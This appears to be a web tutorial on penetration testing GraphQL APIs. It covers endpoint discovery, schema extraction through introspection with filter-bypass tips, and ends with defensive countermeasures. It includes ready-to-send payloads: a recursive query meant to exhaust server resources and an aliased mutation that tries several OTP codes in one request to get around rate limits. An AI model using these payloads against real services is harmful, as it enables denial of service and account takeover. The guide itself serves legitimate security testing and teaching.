Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Penetration Testing Trick...
  4. GraphQL Penetration Testing Guide

GraphQL Penetration Testing Guide

Offensive GraphQL Assessment Playbook
Complete field guide for discovering endpoints, extracting schemas via introspection, testing query complexity DoS, bypassing object-level authorization, and exploiting batching attacks.


GraphQL has become an industry standard for modern web and mobile APIs. However, because GraphQL provides a flexible query language over a single endpoint (typically /graphql), traditional REST security assumptions collapse. Penetration testers must assess unique risks including introspection leakage, circular query denial of service, mutation tampering, and missing field-level authorization.

1. Endpoint Discovery and Fingerprinting


GraphQL endpoints are frequently mounted at standardized paths or hidden behind API gateways. Use wordlists to locate active endpoints:

# Common GraphQL endpoint discovery paths
/graphql
/api/graphql
/v1/graphql
/v2/graphql
/query
/api/query
/graphql/console
/graphiql
/altair
/playground

# Probe endpoint with universal GET query
curl -s -X GET "https://target.com/graphql?query={__typename}" -H "Accept: application/json"

2. Introspection Extraction and Schema Reconstruction


If introspection is enabled in production, an attacker can extract the entire database schema, internal types, queries, and mutations in a single HTTP request:

{
  "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
}


When introspection is restricted by regex or WAF filters, bypass techniques include:

  • HTTP Method Tampering: Send introspection via GET query parameters instead of POST body, or using application/x-www-form-urlencoded.
  • Newline and Tab Obfuscation: Inject newlines or comments between __schema keywords: __schema
    {types{name}}
    .
  • Clairvoyance & Field Suggestion Extraction: Use tools like Clairvoyance to reconstruct schemas via error-based field suggestions (e.g., 'Did you mean user?').

3. Query Depth and Circular Relationship DoS


When relationships are circular (e.g., Thread -> Author -> Threads -> Author), an attacker can construct an exponentially recursive query that exhausts server CPU and memory:

{
  "query": "query CircularDepthDoS { thread(id: 1) { author { threads { author { threads { author { threads { author { threads { id title } } } } } } } } } }"
}

4. Query Batching & Brute Force Amplification


GraphQL supports batching multiple queries in an array or aliasing multiple operations within one query, allowing attackers to bypass rate limiting (such as OTP or password guessing) in a single HTTP request:

# Aliased query testing 100 OTP codes in one single request
{
  "query": "mutation { op1: verifyOTP(code: 1000) { success } op2: verifyOTP(code: 1001) { success } op3: verifyOTP(code: 1002) { success } op4: verifyOTP(code: 1003) { success } }"
}

5. Defensive Countermeasures

  • Disable Introspection in Production: Ensure __schema and __type are strictly blocked in production environments.
  • Enforce Query Depth and Cost Analysis: Use libraries like graphql-depth-limit and graphql-cost-analysis to reject queries exceeding safe complexity thresholds.
  • Implement Operation Whitelisting (Persisted Queries): Only execute pre-approved, hash-indexed queries from known client builds.
  • Object-Level Access Control (BOLA Defense): Verify user authorization inside every field resolver, never assuming parent queries checked permissions.